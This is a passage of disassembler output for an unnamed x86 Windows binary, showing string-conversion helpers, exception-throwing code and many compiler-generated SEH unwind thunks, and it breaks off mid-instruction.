======================================= sub_431B21 proc near ; DATA XREF: TEUm:00437008o ; FUNCTION CHUNK AT 00431B3D SIZE 0000000C BYTES call sub_431B2B jmp loc_431B3D sub_431B21 endp ; =============== S U B R O U T I N E ======================================= sub_431B2B proc near ; CODE XREF: sub_431B21p push 0Ah push 80020004h mov ecx, offset dword_43BD68 call sub_431C48 retn sub_431B2B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431B21 loc_431B3D: ; CODE XREF: sub_431B21+5j push offset sub_431B49 call sub_431902 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_431B21 ; =============== S U B R O U T I N E ======================================= sub_431B49 proc near ; DATA XREF: sub_431B21:loc_431B3Do push offset dword_43BD68 call dword_433264 test eax, eax jge short locret_431B5E push eax call sub_431AB2 locret_431B5E: ; CODE XREF: sub_431B49+Dj retn sub_431B49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431B5F proc near ; CODE XREF: sub_4241E4+12p arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 push esi push edi jnz short loc_431B6E xor eax, eax jmp short loc_431BCB ; --------------------------------------------------------------------------- loc_431B6E: ; CODE XREF: sub_431B5F+9j push [ebp+arg_0] call dword_4330B4 ; lstrlenA mov esi, eax inc esi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_431860 mov edi, esp push esi push edi push 0FFFFFFFFh push [ebp+arg_0] and word ptr [edi], 0 push 0 push 0 call dword_433068 ; MultiByteToWideChar test eax, eax jnz short loc_431BC4 mov esi, dword_433028 call esi ; RtlGetLastWin32Error test eax, eax jz short loc_431BBC call esi ; RtlGetLastWin32Error and eax, 0FFFFh or eax, 80070000h jmp short loc_431BBE ; --------------------------------------------------------------------------- loc_431BBC: ; CODE XREF: sub_431B5F+4Dj xor eax, eax loc_431BBE: ; CODE XREF: sub_431B5F+5Bj push eax call sub_431AB2 loc_431BC4: ; CODE XREF: sub_431B5F+41j push edi call dword_433280 loc_431BCB: ; CODE XREF: sub_431B5F+Dj lea esp, [ebp-8] pop edi pop esi pop ebp retn 4 sub_431B5F endp ; =============== S U B R O U T I N E ======================================= sub_431BD4 proc near ; CODE XREF: sub_424244+Bp arg_0 = dword ptr 4 push ebx push ebp mov ebp, [esp+8+arg_0] xor ebx, ebx cmp ebp, ebx jnz short loc_431BE4 xor eax, eax jmp short loc_431C43 ; --------------------------------------------------------------------------- loc_431BE4: ; CODE XREF: sub_431BD4+Aj push esi push edi push ebp call sub_431CF6 ; wcslen lea edi, [eax+eax+2] push edi call sub_431784 mov esi, eax pop ecx cmp esi, ebx pop ecx jnz short loc_431C08 push 8007000Eh call sub_431AB2 loc_431C08: ; CODE XREF: sub_431BD4+28j push ebx push ebx push edi push esi push 0FFFFFFFFh push ebp push ebx push ebx mov [esi], bl call dword_433064 ; WideCharToMultiByte test eax, eax jnz short loc_431C3F mov edi, dword_433028 call edi ; RtlGetLastWin32Error test eax, eax jz short loc_431C37 call edi ; RtlGetLastWin32Error and eax, 0FFFFh or eax, 80070000h jmp short loc_431C39 ; --------------------------------------------------------------------------- loc_431C37: ; CODE XREF: sub_431BD4+53j xor eax, eax loc_431C39: ; CODE XREF: sub_431BD4+61j push eax call sub_431AB2 loc_431C3F: ; CODE XREF: sub_431BD4+47j mov eax, esi pop edi pop esi loc_431C43: ; CODE XREF: sub_431BD4+Ej pop ebp pop ebx retn 4 sub_431BD4 endp ; =============== S U B R O U T I N E ======================================= sub_431C48 proc near ; CODE XREF: sub_431B2B+Cp arg_0 = dword ptr 4 arg_4 = word ptr 8 push esi push edi mov di, [esp+8+arg_4] mov esi, ecx cmp di, 3 jz short loc_431C6D cmp di, 0Ah jz short loc_431C73 cmp di, 0Bh jz short loc_431C6D push 80070057h call sub_431AB2 loc_431C6D: ; CODE XREF: sub_431C48+Dj ; sub_431C48+19j cmp di, 0Ah jnz short loc_431C7A loc_431C73: ; CODE XREF: sub_431C48+13j mov word ptr [esi], 0Ah jmp short loc_431C96 ; --------------------------------------------------------------------------- loc_431C7A: ; CODE XREF: sub_431C48+29j cmp di, 0Bh jnz short loc_431C91 mov eax, [esp+8+arg_0] mov [esi], di neg eax sbb eax, eax mov [esi+8], ax jmp short loc_431C9D ; --------------------------------------------------------------------------- loc_431C91: ; CODE XREF: sub_431C48+36j mov word ptr [esi], 3 loc_431C96: ; CODE XREF: sub_431C48+30j mov eax, [esp+8+arg_0] mov [esi+8], eax loc_431C9D: ; CODE XREF: sub_431C48+47j mov eax, esi pop edi pop esi retn 8 sub_431C48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431CA4 proc near ; CODE XREF: sub_431AB2+6p ; sub_431AC0+58p var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_429C60 lea eax, [ebp+var_10] push offset dword_435E20 push eax call sub_43184C ; _CxxThrowException mov eax, [esp+18h+var_14] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_434AE8 jz short loc_431CEF mov ecx, [eax] push eax call dword ptr [ecx+4] loc_431CEF: ; CODE XREF: sub_431CA4+43j mov eax, esi pop esi retn 4 sub_431CA4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_431CF6 proc near ; CODE XREF: sub_431BD4+13p jmp dword_4331E8 sub_431CF6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= SEH_421109 proc near ; DATA XREF: sub_421109+5o mov eax, offset dword_434B80 jmp sub_4317FC SEH_421109 endp ; =============== S U B R O U T I N E ======================================= sub_431D0A proc near ; DATA XREF: TEUm:004211C7o mov eax, offset dword_434BD8 jmp sub_4317FC sub_431D0A endp ; --------------------------------------------------------------------------- lea ecx, [ebp-70h] call dword_433150 retn ; --------------------------------------------------------------------------- loc_431D1E: ; DATA XREF: TEUm:00421280o mov eax, offset dword_434C30 jmp sub_4317FC ; =============== S U B R O U T I N E ======================================= SEH_42146A proc near ; DATA XREF: sub_42146A+5o mov eax, offset dword_434C90 jmp sub_4317FC SEH_42146A endp ; =============== S U B R O U T I N E ======================================= sub_431D32 proc near ; DATA XREF: TEUm:004215ECo mov eax, offset dword_434CE8 jmp sub_4317FC sub_431D32 endp ; =============== S U B R O U T I N E ======================================= sub_431D3C proc near ; DATA XREF: TEUm:00421832o mov eax, offset dword_434D40 jmp sub_4317FC sub_431D3C endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= SEH_421C92 proc near ; DATA XREF: sub_421C92+5o mov eax, offset dword_434DD0 jmp sub_4317FC SEH_421C92 endp ; =============== S U B R O U T I N E ======================================= sub_431D5A proc near ; DATA XREF: TEUm:00434E54o lea ecx, [ebp+0Ch] call sub_4317A2 retn sub_431D5A endp ; --------------------------------------------------------------------------- lea ecx, [ebp-1Ch] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] call sub_4317A2 retn ; --------------------------------------------------------------------------- mov eax, [ebp-30h] and eax, 1 test eax, eax jz locret_431D8B mov ecx, [ebp+8] call sub_4317A2 locret_431D8B: ; CODE XREF: TEUm:00431D7Dj retn ; --------------------------------------------------------------------------- loc_431D8C: ; DATA XREF: TEUm:00422510o mov eax, offset dword_434E28 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-1Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_431DA0: ; DATA XREF: TEUm:00434E94o mov ecx, [ebp-1Ch] add ecx, 4 jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 8 jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 10h jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 14h jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 1Ch jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 20h jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 24h jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 202Ch jmp sub_4226C7 ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_431E0B: ; DATA XREF: sub_422A1Eo mov eax, offset dword_434E68 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_431E20: ; DATA XREF: TEUm:00434F0Co mov ecx, [ebp-10h] add ecx, 4 jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8 jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10h jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 14h jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1Ch jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 20h jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 24h jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_431E6D: ; DATA XREF: sub_422BB1o mov eax, offset dword_434EE0 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 loc_431E78: ; DATA XREF: sub_422ECAo mov eax, offset dword_434F40 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 loc_431E84: ; DATA XREF: TEUm:00434FC4o lea ecx, [ebp+0Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] and eax, 1 test eax, eax jz locret_431EAA mov ecx, [ebp+8] jmp sub_4317A2 ; --------------------------------------------------------------------------- locret_431EAA: ; CODE XREF: TEUm:00431E9Cj retn ; --------------------------------------------------------------------------- loc_431EAB: ; DATA XREF: sub_422FB0o mov eax, offset dword_434F98 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 loc_431EB8: ; DATA XREF: TEUm:00434FFCo lea ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp+0Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] and eax, 1 test eax, eax jz locret_431EE6 mov ecx, [ebp+8] jmp sub_4317A2 ; --------------------------------------------------------------------------- locret_431EE6: ; CODE XREF: TEUm:00431ED8j retn ; --------------------------------------------------------------------------- loc_431EE7: ; DATA XREF: sub_4230F8o mov eax, offset dword_434FD0 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+8] jmp sub_4264D2 ; --------------------------------------------------------------------------- loc_431EFC: ; DATA XREF: TEUm:0043503Co lea ecx, [ebp-14h] jmp sub_4264D2 ; --------------------------------------------------------------------------- lea ecx, [ebp-0C0h] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-0D0h] jmp sub_4241A6 ; --------------------------------------------------------------------------- mov ecx, [ebp-0C8h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-100h] jmp sub_426ABF ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-0C4h] jmp sub_4241A6 ; --------------------------------------------------------------------------- mov ecx, [ebp-20h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-140h] jmp sub_426ABF ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-4Ch] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-120h] jmp sub_4266D6 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_4264D2 ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] jmp sub_4264D2 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A4h] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-0CCh] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-0ACh] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-0D8h] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-0B4h] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-0D4h] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-0BCh] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E0h] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-38h] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-48h] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-58h] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-68h] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-78h] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-88h] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-98h] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A8h] jmp sub_4241A6 ; --------------------------------------------------------------------------- loc_43202D: ; DATA XREF: sub_423489o mov eax, offset dword_435010 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 push dword ptr [ebp-10h] call sub_43177E pop ecx retn ; --------------------------------------------------------------------------- loc_432042: ; DATA XREF: sub_424152o mov eax, offset dword_435130 jmp sub_4317FC ; --------------------------------------------------------------------------- push dword ptr [ebp-10h] call sub_43177E pop ecx retn ; --------------------------------------------------------------------------- loc_432056: ; DATA XREF: sub_424348o mov eax, offset dword_435158 jmp sub_4317FC ; --------------------------------------------------------------------------- lea ecx, [ebp+8] jmp sub_4264D2 ; --------------------------------------------------------------------------- loc_432068: ; DATA XREF: TEUm:004351ACo lea ecx, [ebp-10h] jmp sub_4264D2 ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp sub_4241A6 ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_4264D2 ; --------------------------------------------------------------------------- loc_432080: ; DATA XREF: sub_424485o mov eax, offset dword_435180 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-14h] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_432094: ; DATA XREF: TEUm:004351ECo lea ecx, [ebp-38h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp+0Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-58h] jmp sub_426ABF ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-30h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-34h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp+0Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-98h] jmp sub_426ABF ; --------------------------------------------------------------------------- mov ecx, [ebp+0Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-78h] jmp sub_426ABF ; --------------------------------------------------------------------------- loc_4320FF: ; DATA XREF: sub_424606o mov eax, offset dword_4351C0 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+8] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_432114: ; DATA XREF: TEUm:0043527Co push dword ptr [ebp-14h] call sub_43177E pop ecx retn ; --------------------------------------------------------------------------- loc_43211E: ; DATA XREF: sub_424AAFo mov eax, offset dword_435250 jmp sub_4317FC ; --------------------------------------------------------------------------- lea ecx, [ebp-34h] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_432130: ; DATA XREF: TEUm:004352ACo lea ecx, [ebp-30h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-44h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-0C8h] jmp sub_4266D6 ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A8h] jmp sub_426ABF ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-28h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-88h] jmp sub_426ABF ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_432189: ; DATA XREF: sub_424B41o mov eax, offset dword_435280 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+0Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_43219C: ; DATA XREF: TEUm:00435324o lea ecx, [ebp+8] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-20h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-44h] jmp sub_426ABF ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-1Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-1Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_4321E4: ; DATA XREF: sub_425353o mov eax, offset dword_4352F8 jmp sub_4317FC ; --------------------------------------------------------------------------- align 10h loc_4321F0: ; DATA XREF: TEUm:00435394o lea ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-40h] jmp sub_426ABF ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] and eax, 1 test eax, eax jz locret_43222E mov ecx, [ebp+8] jmp sub_4317A2 ; --------------------------------------------------------------------------- locret_43222E: ; CODE XREF: TEUm:00432220j retn ; --------------------------------------------------------------------------- loc_43222F: ; DATA XREF: sub_42552Ao mov eax, offset dword_435368 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_432244: ; DATA XREF: TEUm:004353E4o lea ecx, [ebp-34h] jmp sub_4266D6 ; --------------------------------------------------------------------------- loc_43224C: ; DATA XREF: sub_425642o mov eax, offset dword_4353B8 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 loc_432258: ; DATA XREF: TEUm:00435414o lea ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-40h] jmp sub_426ABF ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] and eax, 1 test eax, eax jz locret_432296 mov ecx, [ebp+8] jmp sub_4317A2 ; --------------------------------------------------------------------------- locret_432296: ; CODE XREF: TEUm:00432288j retn ; --------------------------------------------------------------------------- loc_432297: ; DATA XREF: sub_42578Fo mov eax, offset dword_4353E8 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 loc_4322A4: ; DATA XREF: TEUm:00435464o lea ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-40h] jmp sub_426ABF ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] and eax, 1 test eax, eax jz locret_4322E2 mov ecx, [ebp+8] jmp sub_4317A2 ; --------------------------------------------------------------------------- locret_4322E2: ; CODE XREF: TEUm:004322D4j retn ; --------------------------------------------------------------------------- loc_4322E3: ; DATA XREF: sub_425896o mov eax, offset dword_435438 jmp sub_4317FC ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+8] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_4322F8: ; DATA XREF: TEUm:004354B4o lea ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-40h] jmp sub_426ABF ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-1Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_432330: ; DATA XREF: sub_4259AEo mov eax, offset dword_435488 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+8] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_432344: ; DATA XREF: TEUm:00435514o lea ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_426ABF ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_43236C: ; DATA XREF: sub_425B2Eo mov eax, offset dword_4354E8 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 loc_432378: ; DATA XREF: TEUm:00435564o lea ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-40h] jmp sub_426ABF ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov eax, [ebp-1Ch] and eax, 1 test eax, eax jz locret_4323B6 mov ecx, [ebp+8] jmp sub_4317A2 ; --------------------------------------------------------------------------- locret_4323B6: ; CODE XREF: TEUm:004323A8j retn ; --------------------------------------------------------------------------- loc_4323B7: ; DATA XREF: sub_425C67o mov eax, offset dword_435538 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+8] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_4323CC: ; DATA XREF: TEUm:004355B4o lea ecx, [ebp-1Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_4323DC: ; DATA XREF: sub_425D94o mov eax, offset dword_435588 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+8] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_4323F0: ; DATA XREF: TEUm:004355ECo lea ecx, [ebp-14h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-18h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-34h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-30h] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-30h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-74h] jmp sub_426ABF ; --------------------------------------------------------------------------- lea ecx, [ebp-1Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- mov ecx, [ebp-30h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_426ABF ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-2Ch] jmp sub_4317A2 ; --------------------------------------------------------------------------- lea ecx, [ebp-28h] jmp sub_4317A2 ; --------------------------------------------------------------------------- loc_432470: ; DATA XREF: sub_426022o mov eax, offset dword_4355C0 jmp sub_4317FC ; --------------------------------------------------------------------------- align 4 loc_43247C: ; DATA XREF: sub_42640Bo mov eax, offset dword_435688 jmp sub_4317FC ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] call sub_428230 retn ; --------------------------------------------------------------------------- loc_432499: ; DATA XREF: TEUm:00426505o mov eax, offset dword_4356E0 jmp sub_4317FC ; --------------------------------------------------------------------------- lea ecx, [ebp+8] call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_4324AC: ; DATA XREF: TEUm:00435734o mov ecx, [ebp-18h] call sub_428230 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] call sub_4317A2 retn ; =============== S U B R O U T I N E ======================================= SEH_426584 proc near ; DATA XREF: sub_426584+5o mov eax, offset dword_435708 jmp sub_4317FC SEH_426584 endp ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] call sub_428230 retn ; --------------------------------------------------------------------------- loc_4324DA: ; DATA XREF: TEUm:00435774o mov ecx, [ebp-10h] add ecx, 10h call sub_4317A2 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 14h call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_4324F2: ; DATA XREF: TEUm:00426882o mov eax, offset dword_435748 jmp sub_4317FC ; --------------------------------------------------------------------------- lea ecx, [ebp+0Ch] call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_432505: ; DATA XREF: TEUm:004357ACo lea ecx, [ebp+8] call sub_4317A2 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] call sub_428230 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 10h call sub_4317A2 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-1Ch] add ecx, 14h call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-10h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-14h] call sub_4317A2 retn ; =============== S U B R O U T I N E ======================================= SEH_42692B proc near ; DATA XREF: sub_42692B+5o mov eax, offset dword_435780 jmp sub_4317FC SEH_42692B endp ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] call sub_428230 retn ; --------------------------------------------------------------------------- loc_432554: ; DATA XREF: TEUm:00435804o mov ecx, [ebp-10h] add ecx, 10h call sub_4317A2 retn ; =============== S U B R O U T I N E ======================================= SEH_426ABF proc near ; DATA XREF: sub_426ABF+5o mov eax, offset dword_4357D8 jmp sub_4317FC SEH_426ABF endp ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] call sub_4317A2 retn ; =============== S U B R O U T I N E ======================================= SEH_426B19 proc near ; DATA XREF: sub_426B19+5o mov eax, offset dword_435808 jmp sub_4317FC SEH_426B19 endp ; --------------------------------------------------------------------------- lea ecx, [ebp+8] call sub_4317A2 retn ; =============== S U B R O U T I N E ======================================= SEH_426DB8 proc near ; DATA XREF: sub_426DB8+5o mov eax, offset dword_435830 jmp sub_4317FC SEH_426DB8 endp ; --------------------------------------------------------------------------- mov ecx, [ebp-30h] call sub_428230 retn ; --------------------------------------------------------------------------- loc_432599: ; DATA XREF: TEUm:00426E5Do mov eax, offset dword_435858 jmp sub_4317FC ; --------------------------------------------------------------------------- lea ecx, [ebp+8] call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_4325AC: ; DATA XREF: TEUm:004358ACo mov ecx, [ebp-38h] call sub_428230 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] call sub_4317A2 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] call sub_4317A2 retn ; --------------------------------------------------------------------------- loc_4325C7: ; DATA XREF: TEUm:00426F3Do mov eax, offset dword_435880 jmp sub_4317FC ; --------------------------------------------------------------------------- mov ecx, 